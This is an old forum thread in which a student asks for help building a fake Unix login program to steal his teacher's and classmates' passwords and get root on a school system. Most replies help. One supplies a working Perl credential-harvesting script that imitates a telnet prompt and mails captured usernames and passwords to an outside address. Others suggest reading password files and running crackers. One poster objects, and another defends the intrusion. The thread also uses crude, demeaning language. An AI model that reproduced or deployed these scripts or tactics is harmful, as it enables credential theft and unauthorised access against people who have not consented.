i just started messing w/ perl last night after looking at jaded's link for a perl tutorial (thanks). i had c/c++, so i am learning pearl w/ some ease. i currently have a unix management class and i am looking to cause a ruckus.

Objective:
Get root (superuser) access in a unix environment. the teacher has a degree in computer science but isn't that effiencent in unix

OS:
Unix bash (bourne again shell). not sure what version, old though. its accessed in windows through telnet.

Solution:
Set the teacher up w/ a dummy logon program that will capture his username (i already know) and password. i know there are fake login progs out there but i would take more pride if he was fooled by my own. i would also use the program on unsuspecting students.

What i have so far:
#fake login script needs to be dressed up w/ #version and shit
print "Enter your user name: ";
chop ($name=<STDIN> );
print "Enter your password: ";
chop ($psswd=<STDIN> );
print "Unexpected error please reboot your machine\n";
#still need to implement some sort of halt
$out = "output.txt";
open output, ">output";
print output "username = $name password = $psswd\n";

What i need:
your input (greatly appreciated)
a way to make '*'s show up when typing in the password. i couldn't find formating in the tutorial.
i am not sure what i want the program to do after the user has entered the info. is there a way to reboot the cpu w/ some code. the only thing i could think of is freezing it w/ an infinite loop. i am going to write a batch that will call the program up.

please go easy on me, i am new to this shit. i've seen how some of you raped others for asking for help.

[This message has been edited by digital (edited 10-14-2000).]

Hey, how come you guys haven't raped me yet? Dammit...that's not fair...

45 second kludge:

#!/usr/bin/perl
print "Telnet Daemon 1.3\n";
print "Please enter the IP Address of the Machine you wish to connect to: ";
chop ($ip=<STDIN> );
print "Enter your user name:";
chop ($name=<STDIN> );
print "Enter your password: ";
chop ($psswd=<STDIN> );
open (MAIL,"|mail user\@darkstar.example");
print MAIL "hey,\nThe username is $name \n and the password is $psswd\n";
close (MAIL);
print "Username/Password Combination invalid, connecting anyway\n";
open (NET,"|telnet $ip");

should do it. Just tell yer instructor that yer trying to do something to make the telnet program (l)user friendly and execute that for him. Replace yer addy with user@darkstar.example and be sure to keep the \ to negate the @...

on second thought, you might wanna add something that would replace this program with something innocuos once it's done its deed, but whatever, hope this helps...

why don't you just grab /etc/password?

i can, but is it possible to breakdown the meta-characters for a password. all i can get out of it is the expiration date and username.

btw, thanx for ur input jaded.

[This message has been edited by digital (edited 10-16-2000).]

Do a search for Unix Password Crackers, theres a plethora of them out there..

the only problem w/ that is i haven't found a way to get an outside file onto the operating system. since unix is accessed from a remote computer the drive mounts are inaccessable. i know the mail is setup but its only setup for lan email. is there a dos based or unix based utility prog that would transfer it to unix?

notepad.

ctrl-c

ctrl-v

tried that.

is the computer running FTP (port 21)?

i don't think so, i'll have to find out next tuesday. i just started the adv unix class and the teacher is a fucking retard.

haha, they usually are. I have had only one good computer science teacher. He tought assembly language and microprocessor architecture. The other ones i have had sucked. Im waiting until that teacher actually teaches the C class before i take it. i dont need retarded teachers that i have to correct at least 4 times a day.

Get Terraterm I'm pretty sure it lets you copy and paste from the buffer, also, fer kicks, it's got an SSH extension I like too...

sweet, thanks.

Passwords are not kept in /etc/passwd on most unix systems anymore. They are kept in /etc/shadow. /etc/shadow has permissions set so non priv users cant read it.

If you are serious about learning REAL unix programming check out Advanced Programming in the Unix Environment by Richard Stevens. It would enable you to learn to write a real working shell/login. I certainly do not agree with you attempting comprimise the security of someone elses machine though. Why would you want to do something like this?

If you want to learn unix set up a linux box at home, all you need is a 386. You can often get them free if you will haul them off for someone.

eb

Solace,

Sadly I would not look up to any teachers to teach you anything other than the basics of programming. Its a sad fact we dont pay teachers squat. Now a history professor probably has no better offers, but anyone with computer skills can easily make more than a teacher.

This leaves you with basically the bottom of the barrel when it comes to who is left to teach computers. Also the way they teach programming in college has little to do with the real world. I have been out of college and programming for a couple of years now and believe me when I say what I learned in college barely prepared me for the real world.

I did great in college and did alot of programming on my own, but in the real world you have to do alot of programming that involves maintaining or expanding other peoples code. Believe me when I say its totally different modifying other people code than your own. You have to try to get into their brains, hopefully stuff is commented but that is not often the case.

From what I have seen colleges do not stress many of these real world coding issues.

eb

barto: you would be surprised how many systems still have /etc/passwd as valid, although you do have a point, as for comprimising the teachers box, why not?
It's not a personal machine, it's a school machine, it's highly unlikely that he's gonna be digging around in someones diaries or the like. Chances are all thats gonna happen is digital's gonna get in and plant some amusing/insulting banner messages and change the xwin background to pictures of squirrels fucking or some such thing. damage is minimal, and it is a computer class after all.. Whats the point of a computer class if but to teach you how to use computers? intentionally or otherwise....

elbarto,
i am not going to delete shit and be an asshole. i am just going to play harmless pranks on the students and maybe the teacher. i was fortunate enough to get a student teacher (about 21) who, (from what i can tell) does not know a unix system as well as he should.

my vb professor became a teacher because its a secure position as opposed to an industry were there is downsizing and always changing technology. he makes decent money and gets 2 months off in the summer. he doesn't have project dates or deadlines to meet. there's always going to be a need for education in computers. its just a shame that some people don't get paid enough. what's your idea of a good salary? $65,000 - $90,000+ and always at the beck and call of your company. Or $40,000 - $55,000 and some peace of mind. i am not sure which one i want yet.

[This message has been edited by digital (edited 24-10-2000).]